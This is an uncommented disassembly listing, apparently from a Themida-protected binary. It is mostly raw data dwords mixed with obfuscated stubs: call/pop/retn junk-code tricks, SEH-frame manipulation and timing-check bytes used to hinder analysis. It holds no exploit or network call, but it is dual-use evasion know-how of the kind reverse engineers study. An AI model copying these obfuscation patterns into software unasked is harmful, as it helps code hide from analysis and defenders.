dd 11618589h, 0BD8B0614h, 6142429h, 0E9F5006Ah, 9, 1C525B23h
dd 0FE81BAB1h, 98B5FF2Fh, 90617AAh, 1425E1BDh, 3995FF06h
dd 66061409h, 0E896F98Bh, 0Eh, 4BEECFACh, 202C3D05h, 23C01AAh
dd 11E86146h, 0A6000000h, 0DB6A3ADEh, 64323F68h, 3D55524Ah
dd 0B5ADF0FCh, 5F5BFB8Bh, 0B8666050h, 52505C41h, 8B66310Fh
dd 61585AD3h, 6D9D8B96h, 0FF061404h, 17AA98B5h, 5BD0306h
dd 0FF06142Fh, 1420F595h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0A6FDFA1Dh
dd 9D89DD0Dh, 6140B81h, 0C21BD83h, 0F000614h, 4684h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0C3818C1Ch, 1A5683A7h, 0CE896h, 7F9B0000h, 0B3B858A4h
dd 1A64C247h, 8A0F4184h, 5, 9F004EBBh, 96505F43h, 0FFFB8B66h
dd 17AA98B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0E5B58964h, 2906142Ch, 141C61B5h
dd 0B195FF06h, 89061402h, 1405819Dh, 158D8906h, 0FF06140Eh
dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0B54E4366h, 5870F66h, 51000000h
dd 5FDE8B66h, 95FFF0B7h, 6143081h, 7E8h, 1D6C4000h, 0D10567C1h
dd 13E1BD8Bh, 805F0614h, 0BD838FDBh, 61409F5h, 6F840F02h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 67EDC355h, 0E910BEE1h, 0Ch, 8748BF20h
dd 450D1EE6h, 49183CD7h, 2D01858Bh, 7E80614h, 8F000000h
dd 92EAF28Fh, 8D0F209Ch, 0
; ---------------------------------------------------------------------------
pop ebx
mov byte ptr [eax], 0
push 0
push ebp
call sub_58E72F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E72F proc near ; CODE XREF: Themida_:0058E727p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_58E72F endp
; ---------------------------------------------------------------------------
db 0D6h
dd 9DF4E3B2h, 85C7FCAAh, 614244Dh, 0
; ---------------------------------------------------------------------------
jo loc_58E760
pusha
mov edi, ebx
mov ecx, [ebp+61418EDh]
popa
loc_58E760: ; CODE XREF: Themida_:0058E750j
jmp loc_58DA91
; ---------------------------------------------------------------------------
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; Х
db 3
db 0
db 0
db 0
db 20h
db 58h ; X
db 0C3h ; ц
; =============== S U B R O U T I N E =======================================
sub_58E770 proc near
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58E770 endp
; ---------------------------------------------------------------------------
dd 0FD4B66F8h, 34F6D38Dh, 178E0F5Ch, 0E9000000h, 12h, 25025569h
dd 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 8BF8474Ah, 12E9C1h
dd 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0FC4CC5BEh
; ---------------------------------------------------------------------------
loc_58E7C0: ; DATA XREF: Themida_:0054BA48o
lea eax, [ebp+6140F99h]
push 0
push ebp
call sub_58E7D1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E7D1 proc near ; CODE XREF: Themida_:0058E7C9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_58E7D1 endp
; ---------------------------------------------------------------------------
db 7Dh, 82h, 8Bh
dd 7EB7BAE1h, 14E86050h, 35000000h, 9915E92Bh, 0A29160C8h
dd 0F202F00Bh, 0D34E799Fh, 8B291609h, 8B6659FAh, 48961FEh
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0B293A1FDh, 8B66F79Eh, 55BD8BDAh, 8106140Ch
dd 321286DBh, 6A006A09h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 2AB8C353h, 0E652F57Ah
dd 148D9D8Bh, 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 18C35646h, 0A3087C4Eh, 559501EDh, 8D06142Bh
dd 185E1F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 2ACE512Fh, 2ABA40B0h, 31F98B66h
dd 1424D9BDh, 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0D0C35343h, 0F5958943h, 0F8061408h, 87BB6650h
dd 24048993h, 139DBD03h, 6A0614h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0DC35747h, 605A03A1h, 8E613933h
dd 6AFB8B66h, 0B5BD8B00h, 0FF061410h, 141A7195h, 0D8D0106h
dd 60061421h, 25518529h, 8D610614h, 17A8FC8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0A00E6D7Ah, 0FFDE8B4Eh, 8A0FD1h, 83000000h, 1412CDBDh
dd 850F0106h, 86h, 6880Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
push 2
push 0
push ecx
call sub_58E991
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E991 proc near ; CODE XREF: Themida_:0058E989p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58E991 endp
; ---------------------------------------------------------------------------
db 20h, 66h, 0A3h
dd 0B68AEB73h, 9D8BBB36h, 614322Dh, 6CABF90h, 0F504465h
dd 8Ah, 6A9000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 365C61C3h, 0A78241D1h, 3995FF14h
dd 0E8061409h, 0Bh, 7CC6A624h, 0B57D8C0h, 81758D97h, 47D4D7CFh
dd 8CE95F3Fh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6185E29h
mov [ebp+6140ED5h], ecx
movzx edi, bx
lea eax, [ebp+6179623h]
push 0
push edx
call sub_58EA29
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EA29 proc near ; CODE XREF: Themida_:0058EA21p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_58EA29 endp
; ---------------------------------------------------------------------------
db 0C8h, 62h, 34h
dd 9010A1E8h, 11E850h, 36690000h, 88C9A304h, 7F3FCB19h
dd 0BB1B1978h, 0E8556E8Fh, 0Eh, 8856F1F9h, 0AEDC071Ch
dd 0FECD07C3h, 5B5257C3h, 89905B5Bh, 141D999Dh, 6850F06h
dd 8B000000h, 141905BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_58EA93
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EA93 proc near ; CODE XREF: Themida_:0058EA8Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_58EA93 endp
; ---------------------------------------------------------------------------
pop ds
push eax
or [ecx+14221D8Dh], cl
push es
jmp loc_58EABD
; ---------------------------------------------------------------------------
db 0E8h, 6Ah, 0A1h
; ---------------------------------------------------------------------------
add bh, [ecx+0Bh]
and [edi+7B132679h], eax
loc_58EABD: ; CODE XREF: Themida_:0058EAACj
mov large fs:0, esp
push 0
push ecx
call sub_58EACF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EACF proc near ; CODE XREF: Themida_:0058EAC7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_58EACF endp
; ---------------------------------------------------------------------------
mov ah, [esi]
scasb
movsd
pusha
xchg eax, esp
mov ebx, [ebp+6143209h]
inc dword ptr [ebp+614236Dh]
push 0
push ecx
call sub_58EAFC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EAFC proc near ; CODE XREF: Themida_:0058EAF4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58EAFC endp
; ---------------------------------------------------------------------------
dd 320E0FF2h, 0B8B8F71Dh, 2D9D8B13h, 6A061423h, 1B5FFFFh
dd 6A061416h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 8268C350h, 68E0F88h, 89000000h
dd 14346D85h, 8E906h, 95E00000h, 820BC4EBh, 95FF9F99h
dd 6142B19h, 13BE9h, 6870F00h, 81000000h, 6C1EFDC7h, 0F00B044h
dd 58Dh, 0AD99BB00h, 70E62DD3h, 0F1815060h, 34998DA4h
dd 798D8B58h, 61061425h, 1B618D31h, 71E40614h, 830F613Ch
dd 100h, 2711BB66h, 9C8B60Fh, 1425319Dh, 6BA06h, 0BD030000h
dd 61416A5h, 0F60C18Bh, 685h, 6D858B00h, 8B061420h, 14103195h
dd 0E8C16106h, 0DA8B6604h, 0E9E2F766h, 0Ah, 59637B06h
dd 0A7280485h, 0BD89651Ah, 614211Dh, 0D18BC82Bh, 15C9BD89h
dd 6E90614h, 81000000h, 6AE8C6D3h, 1D858B59h, 0E906140Eh
dd 9, 3BCAA122h, 2E8BB10Fh, 7C08341h, 58E0Fh, 81660000h
dd 83E5F8C3h, 8B6600C0h, 0FD03BDAh, 0E83h, 56BF6600h, 66E950h
dd 81660000h, 8BD11BF3h, 141B758Dh, 0B58D0906h, 60061401h
dd 0A8D0Fh, 5E90000h, 4E000000h, 65519434h, 20B1958Bh
dd 83610614h, 840F01E1h, 34h, 369B589h, 0A5830614h, 6141B75h
dd 8D0FFEh, 89000000h, 140E1D95h, 0BE8F906h, 11000000h
dd 27E7DC0Eh, 1F7FFC32h, 0BF66E5DFh, 0E95BD3B5h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+617DA9Fh]
push 0
loc_58ECA8: ; CODE XREF: Themida_:0058ECD8j
push edx
call sub_58ECB1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ECB1 proc near ; CODE XREF: Themida_:0058ECA9p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_58ECB1 endp
; ---------------------------------------------------------------------------
mov ah, 21h
pop edx
imul ch
jnz loc_58ECD2
mov [ebp+6140431h], ebx
loc_58ECD2: ; CODE XREF: Themida_:0058ECC6j
jmp loc_58ECE3
; ---------------------------------------------------------------------------
db 0F6h
; ---------------------------------------------------------------------------
loopne loc_58ECA8
retf
; ---------------------------------------------------------------------------
db 6Ah
; ---------------------------------------------------------------------------
and ah, bh
popf
imul edi, [esi+3], -77h
loc_58ECE3: ; CODE XREF: Themida_:loc_58ECD2j
push 0
mov [ebp+6142B39h], edx
call dword ptr [ebp+6141169h]
jmp loc_58ED03
; ---------------------------------------------------------------------------
dw 4097h
dd 23FFD95Bh, 6986E564h
db 0E8h, 9Ch, 96h
; ---------------------------------------------------------------------------
loc_58ED03: ; CODE XREF: Themida_:0058ECF1j
mov ecx, 85Eh
jbe loc_58ED24
jmp loc_58ED24
; ---------------------------------------------------------------------------
db 0C8h
dd 275809CDh, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch
; ---------------------------------------------------------------------------
loc_58ED24: ; CODE XREF: Themida_:0058ED08j
; Themida_:0058ED0Ej
and ecx, 0FFFFFFFCh
push 0
push eax
call sub_58ED32
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ED32 proc near ; CODE XREF: Themida_:0058ED2Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_58ED32 endp
; ---------------------------------------------------------------------------
pop ecx
mov dword ptr [esi-64h], 15D05994h
mov edi, [ebp+6140F3Dh]
cld
mov edi, eax
mov eax, 0
push 0
push ecx
call sub_58ED63
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ED63 proc near ; CODE XREF: Themida_:0058ED5Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_58ED63 endp
; ---------------------------------------------------------------------------
cmc
aas
stc
fisttp word ptr [ebx+141C9D9Dh]
push es
jmp loc_58ED8C
; ---------------------------------------------------------------------------
dw 0B21Eh
dd 9814573Bh, 5C291AE3h
; ---------------------------------------------------------------------------
loc_58ED8C: ; CODE XREF: Themida_:0058ED7Dj
mov edx, 0
push 0
push esi
call sub_58ED9C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ED9C proc near ; CODE XREF: Themida_:0058ED94p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_58ED9C endp
; ---------------------------------------------------------------------------
dd 0C89915E9h, 0BA29160h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9FC35646h
dd 3BC38166h, 0E870F39h, 60000000h, 5E9h, 0F2ABE200h, 46B0ED8Eh
dd 880D61h, 9D8B0000h, 61420CDh, 3229958Bh, 0EF810614h
dd 73154467h, 64D8D8Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0B501AEC3h, 6142ED1h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0CFA0D5C3h, 20640012h, 15B19501h, 6A0614h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E20997C3h
dd 28A5663Ah, 0CE97Eh, 0C9970000h, 8E68D494h, 0CCF2516Bh
dd 0BD83E5CDh, 61429ADh, 39840F00h, 89000000h, 141A018Dh
dd 0B806h, 0EF810000h, 682DF937h, 4D798D8Dh, 8F0F0614h
dd 3, 0FFDF8B66h, 8E8E1h, 87350000h, 0F655E58Dh, 8B66C6D6h
dd 0BD8B5FD8h, 61401D5h, 2671BD83h, 0F000614h, 45484h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0D9BD2302h, 8306140Bh, 142671BDh, 840F0106h
dd 440h, 30359D0Bh, 0BF0F0614h, 71BD83FFh, 3061426h, 3F4860Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 8CB620C3h, 2FDAF3AEh, 6A604DEAh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0B423C351h, 0BB66F83Ah, 8C66D3A5h, 4E180D9h, 9E8h, 0E2EB4B00h
dd 0C7B42ED4h, 0BF666A3Bh, 0A5FBF2Bh, 56840FC9h, 0F000001h
dd 18Ch, 858BFC00h, 6141969h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 19C35040h, 80415F39h, 1B818533h
dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0E94EBEC3h, 0Eh, 4A6FEBB6h, 4BF4414Bh, 760AE3Bh
dd 8950EB40h, 6A2404h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0EAC35242h, 8E22FBB9h, 8B21545Dh, 14346DBDh
dd 800F6006h, 6, 1AE5850Bh, 13E90614h, 74000000h, 5416AAEFh
dd 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 686144CCh, 0DB666B53h
dd 9882BB66h, 0AC240481h, 6A24B898h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 35CEC353h
dd 8B15F094h, 140D69BDh, 0AD95FF06h, 0F061409h, 8589DAB7h
dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 4BC35141h, 27A5FFh, 67CCCC63h, 9E9h, 209F700h
dd 0CD87F5D1h, 0CFE90D7Eh, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B050C353h
dd 0EDA9F1BBh, 90858B12h, 0BF0617AAh, 5ECCD2E0h, 1800C7h
dd 66530000h, 8B5FDA8Bh, 17AA94B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0CE83FABh
dd 0BB000000h, 27C2F04Bh, 0D932F227h, 890E5FC0h, 140D69BDh
dd 858B5F06h, 6140B29h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0BFC35646h, 9D8BA924h, 6140E29h, 0B1858B60h
dd 0F061429h, 18Ch, 8961FC00h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 2CB8CBC4h
dd 44FE144Dh, 9D8B33C2h, 6140EE1h, 1969858Bh, 8D890614h
dd 6142E69h, 6A044689h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0E792C355h, 23FE2D4Dh
dd 0D9259B15h, 0ABF78166h, 525050ECh, 0C7DBBB66h, 5BBB310Fh
dd 5A57AF29h, 24348958h, 25BDBD8Bh, 0B5FF0614h, 617AA90h
dd 0A498D89h, 0F4680614h, 81382836h, 350B2434h, 1FBF3837h
dd 8D0729EDh, 17AA9885h, 12E95006h, 0AF000000h, 7F720B54h
dd 9871C5F5h, 151B896h, 9D519C99h, 24048925h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 61C35343h, 7E9ACh
dd 0B8DA0000h, 7D7EBD85h, 1AEB80F0h, 52D38166h, 0AD95FFECh
dd 6A061409h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 83BC350h, 1DF81138h, 9509A135h
dd 6141521h, 24D1BD8Bh, 66610614h, 0C78343BBh, 14267185h
dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 159A5EA4h, 866F578Ch, 0AA98BD83h
dd 0F000617h, 4984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 9D89110Bh, 6140791h, 3CE9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 4E39761Ch, 30501193h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0AF091AC3h
dd 49636BD0h, 9D31027Fh, 6142675h, 0FDB50150h, 5F06140Ah
dd 2671BD83h, 0F030614h, 4B585h, 838FB700h, 17AA98BDh
dd 840F0006h, 4A6h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 6FC35646h, 85BD8B0Ah, 0FF061430h, 17AA98B5h
dd 28C0F06h, 8B000000h, 0F595FFDFh, 6A06142Ah, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 9566C352h, 391AD311h, 799D8B1Ah, 8B061406h, 17AA8CB5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0FEFF3E57h, 9E8EB1Dh, 0AB000000h, 1D31A8ECh
dd 2DBE5474h, 12E9h, 0D9A59100h, 0CA01B051h, 98EF721Bh
dd 0AC0999B4h, 5B9CB39Fh, 106C7h, 6A0001h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 996795C3h
dd 0EE95650h, 14000000h, 0A0FE583Ah, 91040CDEh, 0FF107D5Eh
dd 505F5F90h, 34896160h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 426C8F29h, 24459501h
dd 0B5FF0614h, 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0A6C35141h, 18521FDCh, 0B3195FFh, 0FA8B0614h
dd 0AA8CB58Bh, 9D8B0617h, 6140A2Dh, 21D5858Bh, 3600614h
dd 1424BDB5h, 61D88B06h, 0C48689h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 8277EEC3h
dd 0E9924BCDh, 0Bh, 0C0802570h, 10C602BCh, 8B84EFAEh, 14322995h
dd 0A58D8906h, 83061425h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0CFCE9CC3h, 41B74BD0h
dd 9D8BCCA8h, 614234Dh, 226D8D09h, 50890614h, 858DF520h
dd 617BE06h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h
dd 1EBB66DDh, 0B8868950h, 29000000h, 1405F195h, 89006A06h
dd 141A5D8Dh, 0BE666006h, 0C681D5D0h, 0B2915E7h, 98B5FF61h
dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0B83C357h, 141995BDh, 3995FF06h
dd 6A061409h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 2910C355h, 0A9B4686Ah, 0CF805777h
dd 34895089h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0FBCF7F2Ch, 0E6E65F68h, 0FE9CFh
dd 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h, 89BD3195h
dd 0FF061425h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 325F5423h
dd 15A830C4h, 0A9BBB4D2h, 666AC923h, 9B71F781h, 20F595FFh
dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0D439CCC3h, 7DE6B4FFh, 6DE490BFh, 83D98B74h
dd 140C21BDh, 840F0006h, 50h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0A2C35343h, 89FA8B66h, 1431958Dh
dd 52509606h, 310FDC8Ah, 6870Fh, 52500000h, 585A310Fh
dd 0E950585Ah, 9, 0B4854999h, 6A873CF4h, 0BD899606h, 61425BDh
dd 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0FC79DDC3h, 223DEBECh, 20B96660h
dd 59B58BA3h, 6106140Fh, 2B195FFh, 0BB660614h, 0B5FF9385h
dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 10C35141h, 812647C7h, 0A862F4B2h, 8195FF57h, 6A061430h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0C23EC352h, 0A704AAF5h, 0F5BD83F6h, 2061409h
dd 66840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0F98B58C3h, 1D698589h, 858B0614h
dd 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 36C35242h, 89C1EB80h, 1400899Dh, 0C606h, 0FE9h
dd 0B2CD9300h, 0F4D0908h, 6E49C093h, 6F56BE2Fh, 244D85C7h
dd 614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0C074CC3h, 1C758531h, 0A0E90614h
dd 0E9FFFFF2h, 5, 0CA9805FCh, 57C18BDCh, 8ED9589h
byte_58F88C db 14h, 6, 5Fh ; DATA XREF: Themida_:00548FB0o
byte_58F88F db 8Dh ; DATA XREF: Themida_:005492C8o
; Themida_:0054AD64o
dd 140F9985h, 90FB8B06h, 52505250h, 0A4DEBF66h, 11E9310Fh
dd 0C2000000h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FECB52D8h
dd 310F585Ah, 607ABB66h, 0E850585Ah, 10h, 611F01DFh, 0F8DE134h
dd 3B7FF8D3h, 0A4797562h, 48F2BB66h, 6A905Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C6D6F6C3h
dd 14F12ACh, 140A2985h, 6A006A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EAF4C355h
dd 89006A44h, 141159B5h, 0EA858D06h, 6006186Eh, 12E9h
dd 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h, 5004D410h
dd 615FDC8Ah, 35DBD03h, 0C0830614h, 0C5BD8B05h, 50061416h
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 7F16C356h, 0BF0F5489h, 6A006AFBh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 4660C356h, 8B6607D7h, 6A006AD9h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0BAFBC353h, 31B1F5D3h, 9E98E9C4h, 9D9D8B57h, 5B061419h
dd 6880Fh, 0BD8B0000h, 6141C39h, 1A7195FFh, 6A0614h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0B70F79C3h, 0FC8D8DFFh, 660617A8h, 0D1FFDE8Bh, 2A41BD8Bh
dd 0BD830614h, 61412CDh, 0A2850F01h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 494AC353h, 67AE5D0h, 70AB3802h, 0C19D8Bh, 0EF800614h
dd 6A026A9Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 422C352h, 0BD8B225Fh, 6142601h
dd 0EE990h, 56C20000h, 0B895075Bh, 0A205AEC6h, 5AB2F7F7h
dd 0DE8B6650h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0B9719414h, 789BD01h
dd 95FF0614h, 6140939h, 3850Fh, 8B660000h, 0D93E9DFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_58FACE: ; DATA XREF: Themida_:0054B890o
call $+5
pop ebp
sub ebp, 6186EF4h
push 0
push edx
call sub_58FAE5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FAE5 proc near ; CODE XREF: Themida_:0058FADDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_58FAE5 endp
; ---------------------------------------------------------------------------
db 0EFh, 0D2h, 36h
dd 5216F03Fh, 0B509A189h, 6142579h, 10E8h, 841C1700h, 6C31FD3h
dd 0C40500F9h, 0BB8F4E7Dh, 85896083h, 6142CB1h, 823C1EBFh
dd 8D5B6130h, 17962385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 1C94F107h, 0D40BA653h
dd 2B67BB66h, 820F50h, 89000000h, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7F057DC3h
dd 304B7BEEh, 35FF6409h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_58FB93
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FB93 proc near ; CODE XREF: Themida_:0058FB8Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_58FB93 endp
; ---------------------------------------------------------------------------
aam 77h
sbb [edx+139C53D2h], bh
mov [eax+218D9D8Bh], esp
adc al, 6
mov edi, [ebp+6140B3Dh]
mov large fs:0, esp
push 0
push ecx
call sub_58FBCB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FBCB proc near ; CODE XREF: Themida_:0058FBC3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_58FBCB endp
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
add esi, ecx
mov eax, 0CFC593E2h
popa
and edi, [ebp+6140F6Dh]
mov edi, [ebp+6142F29h]
inc dword ptr [ebp+614236Dh]
push 0
push esi
call sub_58FC01
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FC01 proc near ; CODE XREF: Themida_:0058FBF9p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_58FC01 endp
; ---------------------------------------------------------------------------
mov ah, 78h
jz short loc_58FC16
cmpsb
loc_58FC16: ; CODE XREF: Themida_:0058FC13j
sbb [ecx], ecx
sub al, 4Ch
mov ch, 66h
